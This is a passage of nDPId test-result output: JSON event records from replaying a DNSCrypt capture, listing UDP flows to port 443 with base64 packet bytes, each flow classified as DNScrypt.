+00657{"flow_id":25,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":626301,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"pkt":"ZmZmZmZmRERERERECABFAADPni1AADcRISDR+vEZCgAAAQG7gBkAu2Pi8VmBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhtZWdhbmVyZAAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAfYAKepZwtScVP1uN5sT5N32akeuKSAV4oXU5Dhs9DYGIJJAdGKfXtNXiElvsQvm00KyC1gH3yBcsV0UHMhcHDXsbONUID12Y3+IJuxI0oT3pvizj3NQWIv0z50xYMyIaexs41QgPXZgAAAABX1N8A19UzYM="} +00658{"flow_id":26,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":626439,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"pkt":"ZmZmZmZmRERERERECABFAADPni5AADcRIR\/R+vEZCgAAAQG72uMAuwkd8VSBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhtZWdhbmVyZAAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAfYAKepZwtScVP1uN5sT5N32akeuKSAV4oXU5Dhs9DYGIJJAdGKfXtNXiElvsQvm00KyC1gH3yBcsV0UHMhcHDXsbONUID12Y3+IJuxI0oT3pvizj3NQWIv0z50xYMyIaexs41QgPXZgAAAABX1N8A19UzYM="} +00658{"flow_id":28,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":627573,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"pkt":"ZmZmZmZmRERERERECABFAADPnjBAADcRIR3R+vEZCgAAAQG7lD4Au0\/B8VWBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhtZWdhbmVyZAAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAfYAKepZwtScVP1uN5sT5N32akeuKSAV4oXU5Dhs9DYGIJJAdGKfXtNXiElvsQvm00KyC1gH3yBcsV0UHMhcHDXsbONUID12Y3+IJuxI0oT3pvizj3NQWIv0z50xYMyIaexs41QgPXZgAAAABX1N8A19UzYM="} +00657{"flow_id":27,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":628040,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"pkt":"ZmZmZmZmRERERERECABFAADPni9AADcRIR7R+vEZCgAAAQG7kQMAu1L78VaBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhtZWdhbmVyZAAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAfYAKepZwtScVP1uN5sT5N32akeuKSAV4oXU5Dhs9DYGIJJAdGKfXtNXiElvsQvm00KyC1gH3yBcsV0UHMhcHDXsbONUID12Y3+IJuxI0oT3pvizj3NQWIv0z50xYMyIaexs41QgPXZgAAAABX1N8A19UzYM="} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":70,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":946739304628,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"41.79.69.13","src_port":43609,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":628366,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcpRkgAL0RA98KAAABKU9FDapZAbsGBIt\/BsABAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJ0egRkMHduA2JpegAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":70,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":946739304628,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"41.79.69.13","src_port":43609,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":71,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":946739304628,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"41.79.69.13","src_port":46229,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02384{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":628383,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcpRogAL0RA94KAAABKU9FDbSVAbsGBIFBBsIBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJ0egRkMHduA2JpegAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":71,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":946739304628,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"41.79.69.13","src_port":46229,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":72,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":628389,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQpRkAub0RKLIKAAABKU9FDQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00195{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":72,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":73,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":628405,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQpRoAub0RKLEKAAABKU9FDQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00195{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":73,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":74,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":946739304628,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"41.79.69.13","src_port":56043,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02384{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":628422,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcpRsgAL0RA90KAAABKU9FDdrrAbsGBFrpBsQBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJ0egRkMHduA2JpegAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":74,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":946739304628,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"41.79.69.13","src_port":56043,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":75,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":946739304628,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"41.79.69.13","src_port":38136,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01101{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":628431,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcpRxAAL0R55sKAAABKU9FDZT4AbsCCDEyBsMBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJ0egRkMHduA2JpegAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":75,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":946739304628,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"41.79.69.13","src_port":38136,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":76,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":628442,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQpRsAub0RKLAKAAABKU9FDQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00195{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":76,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":77,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":946739304628,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"41.79.69.13","src_port":56177,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01101{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":628531,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcpR1AAL0R55oKAAABKU9FDdtxAbsCCDEyBsEBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJ0egRkMHduA2JpegAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":77,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":946739304628,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"41.79.69.13","src_port":56177,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":78,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":946739304628,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"41.79.69.13","src_port":43365,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 